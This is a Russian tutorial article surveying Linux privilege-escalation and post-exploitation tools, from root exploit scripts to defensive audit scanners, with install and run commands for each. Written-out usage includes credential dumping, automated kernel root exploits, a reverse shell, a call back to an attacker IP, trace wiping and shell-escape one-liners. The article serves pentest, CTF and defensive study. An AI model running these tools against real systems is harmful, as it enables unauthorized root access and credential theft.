Содержание
В этой статье вас ждет обзор и примеры применения наиболее известных и, что немаловажно, рабочих утилит для повышения привилегий Linux. Я расскажу, как манипулировать системой и стать рутом. Мы также поговорим про защиту и рассмотрим лучшие утилиты для проверки и защиты системы от техник постэксплуатации, которые могут быть полезны, как в защите Linux, так и в пентесте.
Еще по теме: Сайты для поиска уязвимостей
Повышение привилегий в Linux
Эскалация — (повышение привилегий) — это эксплуатация уязвимостей в операционной системе или прикладном ПО, позволяющая получить доступ к ресурсам, которые обычно защищены от определенного пользователя. В результате хакер имеет больше привилегий, чем предполагалось разработчиком или системным администратором, и может выполнять несанкционированные действия в целевой системе.
PXEnum
Основная задача данного скрипта — функция перечисления (англ. Enumeration). Он вытаскивает всю доступную информацию о системе. Скрипт создан для настоящих лентяев. Хорошо, если высказаться более политкорректно, то «для тех, кто ценит свое время». Встроенные команды позволяют также угонять хеши паролей, содержание директорий, все сведения о системе, наличие application-серверов, приложений, соединений, юзеров.
Для запуска скрипта не требуются права root, он работает в стандартном терминале. Перед установкой скачиваем инструмент с помощью Wget:
1 |
$ wget https://raw.githubusercontent.com/shawnduong/PXEnum/master/PXEnume.sh |
Установка PXEnum:
1 2 3 4 |
$ git clone https://github.com/shawnduong/PXEnum.git $ cd PXEnum/ $ chmod +x PXEnum.sh $ bash PXEnum.sh |
Другой вариант запуска PXEnum:
1 |
$ sh PXEnum.sh |
MIDA Multitool
Другой интересный инструмент — MIDA Multitool, созданный на базе менее популярных собратьев SysEnum и RootHelper, но предлагающий гораздо больше возможностей.
По воле разработчика MIDA Multitool объединяет в себе отдельные функции своих предшественников, а именно:
- SysEnum — Bash-скрипт, предназначенный для получения основной информации о системе, включая следующие данные: текущий пользователь, IP-конфигурация, таблицы ARP, запущенные процессы;
- RootHelper — призван помочь в деле эскалации привилегий в системе, которая была скомпрометирована, при помощи выполнения ряда перечислений и использования доверительных сценариев.
Установка MIDA Multitool в систему с GitHub:
1 2 3 |
$ git clone https://github.com/NullArray/Bash-Kit-Multitool $ cd Bash-Kit-Multitool $ chmod +x bashkit.sh |
Запускаем скрипта MIDA Multitool :
1 |
$ /.bashkit.sh |
Вывод некоторой информации по системе:
MimiPenguin
Очень хорошо известный в узких кругах пентестеров скрипт под названием MimiPenguin. Основная задача утилиты — сброс пароля на вход в систему от текущего пользователя Linux (то есть непривилегированного). В некотором роде это аналог утилиты mimikatz для дампа пароля в Windows-системах.
Кроме того, MimiPenguin поддерживает такие приложения, как VSFTPd (активные подключения клиента FTP), Apache 2 (активные/старые сеансы HTTP BASIC AUTH, но для этого требуется Gcore) и OpenSSH-сервер (активные подключения SSH с использованием команды sudo). И вообще, необходимо сказать, что MimiPenguin нередко становится частью эксплоитов под Linux, так что тулза очень и очень востребована.
Установка MimiPenguin с репозитория GitHub:
1 |
$ git clone https://github.com/huntergregal/mimipenguin |
Если у вас еще не установлен GitHub, то используйте эти команды:
1 2 |
$ apt install git // Debian/Ubuntu systems $ yum install git // RHEL/CentOS systems |
Переходим в директорию MimiPenguin и запускаем скрипт:
1 2 3 4 |
$ cd mimipenguin $ ls –a $ chmod +x mimipenguin.sh $ ./mimipenguin.sh |
Auto-Root-Exploit
Сингловый скрипт, созданный для одной-единственной цели — получить права root на текущую учетную запись, под которой он был запущен с помощью эксплуатации известных багов. Поддерживает версии ядра, начиная с Linux Kernel 2.6 и до 4.8.0-41-generic, а также часть ОС семейства *BSD.
Установка Auto-Root-Exploit в систему:
1 2 3 |
$ git clone https://github.com/nilotpalbiswas/Auto-Root-Exploit $ cd Auto-Root-Exploit $ chmod +x autoroot.sh |
Проверка версии ядра (для того чтобы выбрать нужный эксплоит-пак):
1 |
[crayon-65f918ac9a3c3789114833 inline="true" ]<span class="pln">$ uname </span><span class="pun">–</span><span class="pln">a</span> |
[/crayon]
Использование Auto-Root-Exploit:
1 |
$ bash autoroot.sh N |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
for kernel version 2.6 all bash autoroot.sh 2 for kernel version 3 all bash autoroot.sh 3 for kernel version 4 all bash autoroot.sh 4 for freebsd & openbsd all bash autoroot.sh bsd for apple macos all bash autoroot.sh app for kernel 2.6,3,4 bsd & app all bash autoroot.sh all |
LARE
И напоследок еще один довольно простой скрипт, который позволяет с помощью использования известных уязвимостей в ядре ОС получать привилегии root удаленно с атакующей машины. Скрипт использует локальные эксплоиты для получения root-прав для версий ядра Linux Kernel v2.6 — v4.8.
Кстати, этот инструмент очень часто находит свое применение в различных War Games и CTF-соревнованиях, например hackthebox.gr, или даже на сертификационном экзамене OSCP.
Устанавка LARE в систему:
1 2 |
$ git clone https://github.com/EnigmaDimitri/LARE && cd LARE $ chmod +x LARA.sh |
Пример локального запуска LARE:
1 |
$ LARE.sh -a |
или
1 |
$ ./LARE.sh -a |
Запуск скрипта на целевой машине в сети:
1 |
$ LARE.sh -l [Attackers-IP] |
Запуск на машине с подключением к базе данных эксплоитов на GitHub:
1 |
$ LARE.sh -l or ./LARE.sh -l |
Проверка и защита системы от техник постэксплуатации
Кроме традиционных мер, таких как установка патчей и минимизация привилегий, безопасность системы дополнительно обеспечивают специальные утилиты для проверки системы. В противовес популярному мнению (согласно которому к постэксплуатации ведут только зиродеи или устаревший софт) к грандиозному факапу ведут и ошибки конфигурации — предоставление избыточных прав доступа, пароли по умолчанию, системные каталоги и файлы в общем доступе, выключенные опции безопасности в программах, работающих из коробки, и прочие огрехи.
Ниже будут представлены утилиты (скрипты) быстрого анализа системы и проверки ее на факт выполнения несанкционированных и потенциально опасных действий со стороны непривилегированных пользователей.
Bashark
Bashark — популярный скрипт, который помогает пентестерам и исследователям в области информационной безопасности тестить возможности управления системой после успешной эксплуатации.
Фирменные фичи и возможности, заявленные разработчиком:
- быстрый запуск, мгновенная реакция;
- мультиплатформенность: Unix, OS X, Solaris и другие;
- отсутствие зависимостей от версии ядра ОС или установленных пакетов;
- иммунитет к эвристическому и поведенческому анализу (обход средств защиты);
- встроенные алиасы к популярным командам;
- расширение стандартной оболочки bash-командами для постэксплуатации;
- процедура заметания следов после завершения работы (Stealthy);
- расширяемость — возможность дописывать свои команды и юзать из терминала;
- поддержка табуляции при наборе команд.
Итак, качаем скрипт Bashark с помощью Git:
1 |
$ git clone https://github.com/TheSecondSun/Bashark.git |
Переходим в соответствующую директорию и даем права на выполнение:
1 2 |
$ cd Bashark $ chmod +x bashark.sh |
Запускаем Bashark:
1 |
$ ./bashark.sh |
В чем еще уникальность Bashark? С помощью опции portscan мы можем сканировать внутреннюю сетку из-под одной скомпрометированной машины. Чтобы получить все файлы конфигурации с другой взломанной машины на Linux, можно использовать опцию getconf. Команда позволяет извлекать все файлы конфигурации, хранящиеся в каталоге /etc. Точно так же легко и просто можно использовать опцию getprem для просмотра всех двоичных файлов на целевой системе.
Сканируем удаленную машину с помощью Bashark:
1 |
$ portscan <target’s IP> |
Получаем конфиги:
1 |
$ getconf |
Получаем файлы:
1 |
$ getprem |
Получаем реверс-шелл:
1 |
$ revshell <target’s IP> <Port 31337> |
Еще одна приятная мелочь — это фича самоочистки (удаления следов работы в системе). Например, если вы создавали файлы или каталоги во время работы в контексте Bashark с помощью опции -t (создать файл) или -mkd (создать каталог), подпрограмма quit (то есть завершение работы) будет активировать директиву cleanup, затирающую все следы присутствия в системе.
LinEnum
Данный скрипт представляет собой экспресс-тест по таким позициям, как Kernel and distribution release details, System Information, Privileged access, Jobs/Tasks, Services, Default/Weak Credentials, Searches, Platform/software specific tests.
Скрипт LinEnum успешно протестирован на различных версиях дистрибутивов Ubuntu, Debian, Red Hat и CentOS. Программа не ищет и не пытается выполнять эксплоиты, как некоторые другие аналогичные рассмотренные в статье инструменты повышения привилегий в Linux, — она только собирает информацию и делает проверки возможных векторов эскалации привилегий.
Установка LinEnum в систему:
1 2 |
$ git clone https://github.com/rebootuser/LinEnum $ cd LinEnum/ |
Простой запуск с вызовом списка ключей:
1 |
$ ./LinEnum.sh |
Пример запуска LinEnum с опциями (ключами):
1 |
$ ./LinEnum.sh -s -k keyword -r report -e /tmp/ -t |
Описание ключей LinEnum:
- -k — ввести ключевое слово
- -e — указать директорию для экспорта отчета
- -t — включить в отчет «длинные» тесты (дополнительные тесты)
- -s — произвести проверку эскалации текущей учетки sudo perms
- -r — задать имя итогового отчета
- -h — вызвать встроенную справку по программе
- -k — опциональный переключатель, с которым можно указать ключевое слово для поиска файлов по нескольким расширениям
Запуск без опций означает ограниченное сканирование без файла вывода.
LinuxPrivChecker
Еще один полезный в эскалации привилегий скрипт, написанный на Python. Этот инструмент предназначен для локального выполнения в системе с целью перечисления базовой системной информации и поиска общих векторов повышения привилегий, таких как общедоступные файлы, неверные конфигурации демонов и библиотек, пароли, хранимые в виде открытого текста, и баги, соответствующие наиболее популярным эксплоитам.
Основные области проверки:
- основная информация о системе (ОС, ядро, имя системы и так далее);
- информация о сети (ifconfig, route, netstat и т. д.);
- разная информация о файловой системе (mount, fstab, cron jobs);
- информация о пользователе (текущий пользователь, все пользователи, суперпользователи, история команд);
- права доступа к файлам и каталогам (доступные для записи файлы/каталоги, файлы suid, корневой домашний каталог);
- файлы, содержащие незашифрованные пароли;
- интересные файлы, процессы и приложения (все процессы и пакеты, все процессы, запускаемые пользователем root и связанные пакеты, версия sudo, файл конфигурации Apache);
- все установленные языки и инструменты (GCC, Perl, Python, Nmap, Netcat, Wget, FTP и так далее);
- все соответствующие эксплоиты повышения привилегий (с использованием базы данных эксплоитов с применимыми версиями ядра, пакетами/процессами программного обеспечения).
Проверка на эскалацию привилегий производится в следующих программах:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
nmap -interactive vi :!bash :set shell=/bin/bash:shell awk awk ‘BEGIN {system(“/bin/bash”)}’ find find / -exec /usr/bin/awk ‘BEGIN {system(“/bin/bash”)}’ \; perl perl -e ‘exec “/bin/bash”;’ |
Итак, качаем скрипт LinuxPrivChecker:
1 |
$ wget http://www.securitysift.com/download/linuxprivchecker.py |
Запускаем LinuxPrivChecker с помощью всего лишь одной команды:
1 2 |
$ chmod +x linuxprivchecker.py $ ./linuxprivchecker.py |
Или другой вариант запуска LinuxPrivChecker:
1 |
$ python linuxprivchecker.py |
Unix-privesc-check
Unix-privesc-checker — это мощный скрипт, работающий в Unix-системах (протестирован на Solaris 9, HPUX 11, различных Linux 3.х и FreeBSD 6.2+). После запуска скрипт пытается найти неправильные твики конфигурации системы, процессы, которые могут позволить локальным непривилегированным пользователям повышать привилегии других юзеров или получать доступ к локальным приложениям, например базам данных MySQL.
Основные области проверки:
- слабые пароли и значения по умолчанию;
- конфигурация стека IP (без ненужного использования IPv6, без форвардинга IP-пакетов и так далее);
- некорректные права доступа к файлам (чтение/изменение конфиденциальных данных);
- настройка локальных приложений (просмотр sshd_config, httpd.conf);
- другие полезные вещи (например, удаленное ведение журнала, использование небезопасных протоколов TCP/IP).
Основное внимание разработчики данного скрипта уделяют проверке на предмет распространенных ошибок в конфигурации системы и некорректно настроенных разрешений на доступ к директориям и файлам. Важно отметить, что скрипт не проверяет наличие отсутствующих патчей для ядра ОС или установленных пакетов, но это и не его задача, ведь для ее решения существуют более сложные утилиты, о которых мы рассказывали в нашем предыдущем материале про аудит Linux.
Скрипт может запускаться как от имени обычного пользователя, так и от имени root. В последнем случае у скрипта больше привилегий и он может выполнить ряд тестов, недоступных из-под учетной записи непривилегированного пользователя. Для регулярного мониторинга запуск скрипта можно прописать как задание cron.
Пример запуска скрипта Unix-privesc-check:
1 |
$ ./unix-privesc-check > output.txt |
Полезные ссылки
Поскольку объем нашей статьи не умещает всего, что еще можно было сказать по заявленной теме, вам, предоставляется счастливая возможность попрактиковаться в самостоятельном изучении и заценить вот этот список дополнительных материалов.
- Linux Post Exploitation Command List — шпаргалка по основным командам постэксплуатации, которые можно самостоятельно вводить в терминале. Ничего необычного, стандартные команды, известные любому мало-мальски знающему Linux пользователю.
- Post Exploitation Collection — репозиторий GitHub, представляющий собой огромную коллекцию трюков постэксплуатации для Windows, Linux, Mac, *BSD, а также .msf4 & Metasploit scripts.
- Basic Linux Privilege Escalation — одностраничный гайд по основным векторам атак на фазе постэксплуатации.
- GitBook Post Exploitation — лютый GitBook по теме Privilege Escalation. Рассматривается куча техник эксплуатации: Kernel exploits, Programs running as root, Inside service, Suid misconfiguration, Abusing sudo-rights, Bad path configuration, Cronjob, Unmounted filesystems. Примеры готовых скриптов на Python.
- Cheeat map — еще один вариант хендбука по теме постэксплуатации с примерами команд и кода на скриптовых языках.
Заключение
Сегодня в материале мы рассмотрели самые популярные и, главное, рабочие инструменты, которые используются в фазе постэксплуатации. Приведенный набор инструментов пригодится как участникам War Games и различных CTF-соревнований, так и опытным пентестерам, проверяющим на прочность безопасность корпоративного периметра. Также в нашем обзоре мы привели еще несколько утилит, которые позволят прочекать доверенные вам системы на факт возможности повышения привилегий Linux и использования других техник постэксплуатации. Теперь вы вооружены!
Еще по теме: Повышение привилегий в Windows